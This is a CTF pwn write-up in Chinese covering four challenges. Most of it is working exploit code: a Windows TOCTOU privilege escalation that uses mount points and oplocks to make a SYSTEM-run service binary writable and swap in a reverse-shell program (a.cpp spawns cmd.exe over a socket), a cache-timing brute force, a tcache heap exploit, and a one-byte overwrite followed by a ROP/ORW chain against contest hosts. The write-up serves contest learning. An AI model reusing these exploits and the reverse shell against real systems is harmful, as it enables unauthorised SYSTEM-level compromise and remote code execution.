连续肝48h 差点ak pwn
vul_service
这题在比赛时写poc的时候在system32随便找了一个dll验证思路,但是权限修改总是失败,后来复现的时候才注意到即使是system权限也无法更改system32目录下的dll,但是出题人放进去的vul_service文件是system可写的,爆肝30+小时从零入门Windows编程到Windows提权,最后没拿到flag有点可惜,但也确实学到了很多
题目给了一个win10虚拟机文件,其中设置了1分钟执行一次vul_service的定时任务,从system32中找到vul_service文件进行分析,其逻辑是遍历C:\Users\Public\tmp\
目录及子目录下的文件,根据文件路径读取文件权限后再根据文件路径写回文件权限
漏洞在于读取权限和写入权限都是用文件路径进行操作,如果在读和写之间的时间窗口进行竞争,将文件路径所指的文件修改,也就是读权限和写权限的文件不相同,就可能发生错误的权限设置
而通过对Windows的硬链接或符号链接可以实现同一个文件路径指向不同的文件
在新版本的Windows上由于
- 不再能通过硬链接将低权限文件链到高权限文件
- 无管理员权限的用户无法在文件系统中创建文件符号链接
来源
但是对于文件夹的符号链接则没有过多限制,所以可以采用两种思路达到竞争的时候将一个普通文件链接到vul_service的目的:
- 先在tmp目录下创建链到文件夹A的符号链接,在竞争的时候将tmp目录下的文件夹链接到设备管理器中的文件夹,再从设备管理器中的文件夹创建符号链接链到vul_service文件(设备管理器不在文件系统中,所以可以创建文件符号链接)则访问
C:\Users\Public\tmp\A\abc
就相当于访问C:\Windows\System32\vul_service.exe
- 在先在tmp目录下创建链到文件夹A的符号链接,在文件夹A中创建vul_service的同名文件,在竞争的时候将tmp目录下的文件夹链到
C:\Windows\System32\
则访问C:\Users\Public\tmp\A\vul_service.exe
就相当于访问C:\Windows\System32\vul_service.exe
找到googleprojectzero的工具symboliclink-testing-tools ,在测试的时候只有CreateMountPoint.exe和SetOpLock.exe是还能正常使用的,在比赛的时候由于从设备管理器链接到vul_service的时候失败,不确定第一种方法是否已经和硬链接一样被修复(赛后请教出题人2st师傅,2st师傅表示第一种方法还可以使用,并且明显比第二种更灵活,抄抄改改James的代码即可,,2st yyds),所以用第二种方法实现漏洞利用
由于symboliclink-testing-tools的实现使用了很多自定义类型和依赖项,所以在CreateMountPoint项目中的CreateMountPoint.cpp基础上加入Oplock相关的代码编写exp
整体思路是:先将symlink链接到target,在target中创建vul_service同名文件,然后用Oplock锁上文件等待定时任务中的vul_service读取target中的vul_service同名文件权限,释放锁后进行竞争,将target链接到C:\Windows\System32\
,竞争成功的话则写文件权限时会将C:\Windows\System32\vul_service.exe
的权限修改为attack用户可写,之后将vul_service文件的内容改为反弹shell的exe文件,监听端口等待定时任务下一次以system权限启动反弹shell即可
CreateMountPoint.cpp:
#include "stdafx.h"
#include <shobjidl_core.h>
#include <CommonUtils.h>
#pragma comment (lib,"Ws2_32.lib")
#define NUM 5
void END(SOCKET& ListenSocket, SOCKET& ClientSocket)
{
closesocket(ListenSocket);
closesocket(ClientSocket);
WSACleanup();
}
int get_shell()
{
WSADATA wsaData;
char buf[0x1000] = {
0 };
char getbuf[0x1000] = {
0 };
int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("[-] ERROR code:%d\n", iResult);
return 1;
}
SOCKET ListenSocket, ClientSocket;
ListenSocket = socket(AF_INET, SOCK_STREAM, 0);
sockaddr_in addr, addr2;
addr.sin_family = AF_INET;
addr.sin_port = htons(8888);
addr.sin_addr.S_un.S_addr = INADDR_ANY;
addr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
int addr2Len = sizeof(addr2);
bind(ListenSocket, (sockaddr*)&addr, sizeof(addr));
int ret = listen(ListenSocket, NUM);
if (ret == 0) {
printf("[+] Wating for connecting ...\n");
}
ClientSocket = accept(ListenSocket, (sockaddr*)&addr2, &addr2Len);
if (ClientSocket != NULL)
{
memset(getbuf, 0, sizeof(getbuf));
iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
printf("%s", getbuf);
memset(getbuf, 0, sizeof(getbuf));
iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
printf("%s", getbuf);
memset(getbuf, 0, sizeof(getbuf));
iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
printf("%s", getbuf);
}
while (1)
{
memset(getbuf, 0, sizeof(buf));
fgets(buf, 0x100, stdin);
iResult = send(ClientSocket, buf, sizeof(buf), 0);
if (iResult == SOCKET_ERROR)
{
printf("[-] send ERROR: %d", WSAGetLastError());
END(ListenSocket, ClientSocket);
return 1;
}
memset(getbuf, 0, sizeof(getbuf));
iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
if (iResult == SOCKET_ERROR)
{
printf("[-] recv ERROR: %d", WSAGetLastError());
END(ListenSocket, ClientSocket);
return 1;
}
printf("%s\n", getbuf);
fflush(stdout);
fflush(stderr);
}
return 0;
}
class FileOpLock
{
public:
typedef void(*UserCallback)();
static FileOpLock* CreateLock(const std::wstring& name, const std::wstring& share_mode, FileOpLock::UserCallback cb);
void WaitForLock(UINT Timeout);
~FileOpLock();
private:
HANDLE g_hFile;
OVERLAPPED g_o;
REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer;
REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer;
HANDLE g_hLockCompleted;
PTP_WAIT g_wait;
UserCallback _cb;
FileOpLock(UserCallback cb);
static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance,
PVOID Parameter, PTP_WAIT Wait,
TP_WAIT_RESULT WaitResult);
void DoWaitCallback();
bool BeginLock(const std::wstring& name, DWORD dwShareMode, bool exclusive);
};
static FileOpLock* oplock = nullptr;
LPCWSTR lock;
LPCWSTR symlink;
LPCWSTR target;
LPCWSTR sys;
LPCWSTR shell;
LPCWSTR tmp;
void HandleOplock()
{
DebugPrintf("OpLock triggered, hit ENTER to close oplock\n");
getc(stdin);
printf("[+] Change symlink\n");
if (CreateDirectory(symlink, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS))
{
if (!ReparsePoint::CreateMountPoint(symlink, sys, L""))
{
printf("Error creating mount point - %d\n", GetLastError());
exit(-1);
}
}
else
{
printf("nofuck Error creating directory - %d\n", GetLastError());
}
}
int _tmain(int argc, _TCHAR* argv[])
{
symlink = argv[1];
target = argv[2];
lock = argv[3];
shell = argv[4];
sys = L"C:\\Windows\\System32";
if (argc < 5)
{
printf("CreateMountPoint.exe symlink target lock shell\n");
return 1;
}
CreateDirectory(target, 0);
if (CreateDirectory(symlink, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS))
{
printf("[+] Create symlink\n");
if (!ReparsePoint::CreateMountPoint(symlink, target, L""))
{
printf("Error creating mount point - %d\n", GetLastError());
exit(-1);
}
printf("[+] Create fake vul_service.exe\n");
HANDLE handle = CreateFile(lock, GENERIC_READ, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
CloseHandle(handle);
printf("[+] Lock\n");
LPCWSTR share_mode = L"RW";
oplock = FileOpLock::CreateLock(lock, share_mode, HandleOplock);
if (oplock != nullptr)
{
oplock->WaitForLock(INFINITE);
delete oplock;
}
else
{
printf("Error creating oplock\n");
return 1;
}
printf("[+]load shell\n");
Sleep(1000);
HANDLE lock_handler = CreateFile(lock, GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (lock_handler == INVALID_HANDLE_VALUE)
{
printf("Error open lock, %d\n", GetLastError());
return 1;
}
HANDLE shell_handler = CreateFile(shell, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (shell_handler == INVALID_HANDLE_VALUE)
{
printf("Error open shell, %d\n", GetLastError());
return 1;
}
DWORD szr = GetFileSize(shell_handler, 0);
DWORD szw = szr;
PTCHAR p = (PTCHAR)malloc(szr);
ReadFile(shell_handler, p, szr, &szr, 0);
WriteFile(lock_handler, p, szw, &szw, 0);
CloseHandle(lock_handler);
CloseHandle(shell_handler);
printf("OK\n");
get_shell();
}
else
{
printf("nofuck Error creating directory - %d\n", GetLastError());
}
return 0;
}
a.cpp:
#include <WinSock2.h>
#include <winsock.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"ws2_32.lib")
int main(int argc, char* argv[])
{
WSADATA wsd;
WSAStartup(0x0202, &wsd);
SOCKET socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
SOCKADDR_IN sin;
sin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sin.sin_port = htons(8888);
sin.sin_family = AF_INET;
printf("conncting...");
int ret = connect(socket, (sockaddr*)&sin, sizeof(sin));
if(ret!=0)
{
printf("[-] Error connect : %d\n", WSAGetLastError());
getc(stdin);
}
send(socket, "[+] Connected\n", strlen("[+] Connected\n"), 0);
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetStartupInfo(&si);
si.cb = sizeof(STARTUPINFO);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)socket;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
TCHAR cmdline[255] = L"cmd.exe";
while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi)) {
Sleep(1000);
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
参考:
在编译时需要调整一些项目配置参数,反弹shell的io还有些问题,但是可以看到已经成功成为system权限
C:\Users\Attacker\Desktop\CreateMountPoint.exe C:\Users\Public\tmp\X1ng C:\Users\Public\tmp1 C:\Users\Public\tmp\X1ng\vul_service.exe C:\Users\Attacker\Desktop\a.exe
slow spn
程序从flag.txt中读取6个字符的key和4个字符的plaintext,然后8次通过s盒或p盒的变换后放进模拟的cache中
cache的逻辑是可以多次模拟访问s盒中的地址,如果cache命中了该地址则使用最近最久未使用算法计数,未命中则sleep(1)模拟读取内存的情况
由于有一次访问plaintext在s盒中的地址的机会,所以可以先通过去访问一个地址的方式将一个地址填入cache,然后访问plaintext,通过延时判断cache是否命中,进而猜测plaintext的地址是否为正在cache中的地址,得到p=0x10a4
同样的方法爆破上图中v9=0x4924、v7=0x78c、v5=0x9d44,实际操作的时候得到
p=0x10a4
k>>8=0x754
k>>4=0x655e
k=0xace7
由于cache是通过5-10bit的line和10bit以上的tag来标记的,所以爆破得到的结果可能有偏差,根据题目提示不用得到很准确的数字,所以将key进行拼接key=0x754e7,连接靶机后输入key和plaintext拿到flag
PS:在实际操作的时候通过分成每组0x20个数据来确定范围,再修改exp爆破0x20个数据中p的值
exp:
def exp(times):
local=1
binary_name='slowspn'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
else:
p=remote('124.71.173.176', 9999)
e=ELF("./"+binary_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
def add(addr,sp):
ru("What to do?\n")
sl('1')
ru("Where?\n")
sl(str(addr))
sla('Speed up?',str(sp))
def test_flag():
sla('What to do?',str(2))
def nex():
sla('What to do?',str(3))
def nofound():
sl(str(3))
for j in range(0x20):
add(0x645110+j*4+times*4,1)
print(hex(times+j)+': '+hex(ss_box[times+j]))
#nex()
#nex()
#nex()
#nex()
#nex()
#nex()
#通过控制nex的个数调整爆破哪一个变量
test_flag()
time_start=time.time()
ru('What to do?')
time_end=time.time()
print(time_end-time_start)
if round(time_end-time_start) != 1:
print('YES')
ia()
else :
print('NO')
for i in range(7):
sl('2')
p.close()
len_ss_box=65535
for i in range(0,len_ss_box,0x20):
exp(i)
连接.py:
from pwn import *
sh=remote("124.71.173.176","8888")
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
def proof_of_work(sh):
sh.recvuntil('x + "')
suffix = sh.recvuntil('"').decode("utf8")[:-1]
print(suffix)
#log.success(suffix)
sh.recvuntil('== "')
cipher = sh.recvuntil('"').decode("utf8")[:-1]
print(cipher)
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest()[:6] == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendlineafter("Input x:\n", proof)
proof_of_work(sh)
sh.interactive()
spn
可以直接溢出,但是输入的东西会被加密,网上找个解密脚本算一下,算出加密之后是shell地址就行。tcache打shell,进后门。
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='SPN_ENC'
libc_name='lib/libc-2.27.so'
if local:
p=process("./"+binary_name)
libc=ELF("./"+libc_name)
else:
p=remote('124.71.194.126',9999)
e=ELF("./"+binary_name)
libc=ELF("./"+libc_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sla("0.exit\n",str(num))
def add(size,idx):
cho(1)
sla("Size:",str(size))
sla("Index:",str(idx))
def delete(idx):
cho(3)
sla("Index:",str(idx))
def show(idx):
cho(4)
sla("Index:",str(idx))
def edit(idx,size,data):
cho(2)
sla("Index:",str(idx))
sla("Size",str(size))
sa("Content",data)
def backdoor():
cho(5)
def decrypt(x):
io = process('./spn_dec.py')
io.sendline(str(x&0xffff))
a = int(io.recv()[:-1])
io.close()
return a
def spn_dec(x):
a1 = decrypt(x)
a2 = decrypt(x>>16)
a3 = decrypt(x>>32)
aa = a1+a2*0x10000+a3*0x100000000
print(hex(a3),hex(a2),hex(a1))
print(aa)
return aa
ru("gift:")
shell_addr=int(ru('\n'),16)
print(hex(shell_addr))
aa = spn_dec(shell_addr)
print(hex(aa))
add(0x10,0)
add(0x10,1)
add(0x10,2)
delete(2)
delete(1)
edit(0,0x26,b'a'*0x20+p64(aa)[:-2])
add(0x10,3)
add(0x10,4)
edit(4,2,b'aa')
backdoor()
ia()
# spn_dec.py是github上找的一个实现,改了一下io就用了。
checkin
任意地址写一个字节,改了_ZN14__interception21real___isoc99_vfscanfE
的第二个字节,使其指向gets函数,返回调用gets函数,读取rop,泄露,栈迁移,orw。
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=1
binary_name='checkin'
libc_name='libc-2.27.so'
libc=ELF("./"+libc_name)
def pwn():
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
p=remote('123.60.97.201',9999)
sla(b'Welcome! A gift for you:',str(0x73edb8+1))
sleep(1)
sd(b'\x91')
sa(b'Leave a note.',b'a'*0x1f)
sa(b"That's all. Have fun!",p64(0x43FBB3))
pop_rdi = 0x41af0b
pop_rsp = 0x484d50
call_puts = 0x43A286
rop = p64(pop_rdi)+p64(0x72DE30)+p64(call_puts)+b'a'*0x838+p64(0)*6+p64(pop_rdi)+p64(0xA00000)+p64(0x43FBB3)+b'a'*0x30+p64(0)*3+p64(pop_rsp)+p64(0xA00000)
try:
p.recv()
sl(rop)
libc_addr = leak_address()-0x407e0
print(hex(libc_addr))
if libc_addr == 0x736572605c61:
p.close()
return 0
except Exception:
return 0
print(hex(libc_addr))
binsh=libc_addr+0x1B3E1A
system=libc_addr+0x4f550
pop_rsi=0x000000000041ab7c
pop_rdx=0x000000000043ced2
open_addr=libc_addr+libc.sym['open']
read_addr=libc_addr+libc.sym['read']
write_addr=libc_addr+libc.sym['write']
rop2 = p64(pop_rdi)+p64(0xA00100)+p64(pop_rsi)+p64(0)+p64(open_addr)
rop2 += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0xA00200)+p64(pop_rdx)+p64(0x100)+p64(read_addr)
rop2 += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0xA00200)+p64(pop_rdx)+p64(0x100)+p64(write_addr)
rop2 = rop2.ljust(0x100,b'\x00')+b'/flag\x00'
sl(rop2)
ia()
for i in range(0x100):
pwn()